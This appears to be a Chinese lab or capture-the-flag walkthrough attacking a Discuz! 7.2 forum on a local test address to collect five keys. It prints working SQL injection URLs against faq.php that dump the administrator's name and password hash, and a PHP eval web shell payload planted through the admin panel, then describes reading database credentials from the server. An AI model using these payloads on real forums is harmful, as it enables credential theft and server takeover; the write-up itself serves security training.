这综合测试之前，小伙伴们可以先去了解了解Dz7.2的一些漏洞和特性，我就不在这说了：

    第一步，看指导说明：

    

     一进来，我就发现，我们的目标网站的系统是Discuz!的论坛，在一看发现版本是7.2然后

    我们就去百度一下相关漏洞所在，查看到的便是faq.php的注入漏洞

    

    具体漏洞解释就自己去看看，直接上代码

    第一步检查是否有注入漏洞：

        192.168.1.3/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

    

    由图可知，由注入漏洞，注入也在途中给出，接下来就是查询管理员账号密码了

    192.168.1.3/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x7e7e,password,0x7e7e) from cdb_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

    其中0x7e7e为 ~~的16进制，用来分割账号和密码

    

    爆出来了，管理员账号和hash加密的密码

    ！注意：这个加密的秘密要拿到，实验平台去解密如下图：

    

    得到密码以后，就去先登陆后台，然后进入管理

    

   找到key1

    接下来，我们就要去想办法控制服务器，找插入点插入一句话

    

    由于自己搭建环境查看可以知道，要这样构造

    xx\');eval($_POST[a]);?>\\

    前面\是因为，直接输入单引号会被注释掉，所以需要注释掉注释

    后面的\\注释掉后面的所以语句

    

    于是，我们插入一句话提交，然后使用菜刀连接：注意连接的地址

    

    连接成功：

    

    然后，去寻找key2,去查看被***服务器上的config.inc.php页面

    

    

    然后下载过来查看，发现了数据库账户和密码

    接下来，用菜刀去连接数据库：

    

    再来，就是去查看数据库，其中下面图中3个加密的密码之一就是key2的密码，还是利用指导实验下面那个框来解密

   

    然后继续查看数据库内容，发现key3

    

    

    数据库没什么以后，查看文件里面的，发现key4的压缩包

    

    下载下了后，我们用文本查看，发现得到一串加密的字符串:

    先把字符串转为10进制的字母，然后得到base64加密过的密码，在解密得到key4

    

    最后，我们在去文件里面逛逛发现key5:

    

    

    这一次下载下来直接打开就是key了

    

    如果有什么出错的，欢迎指出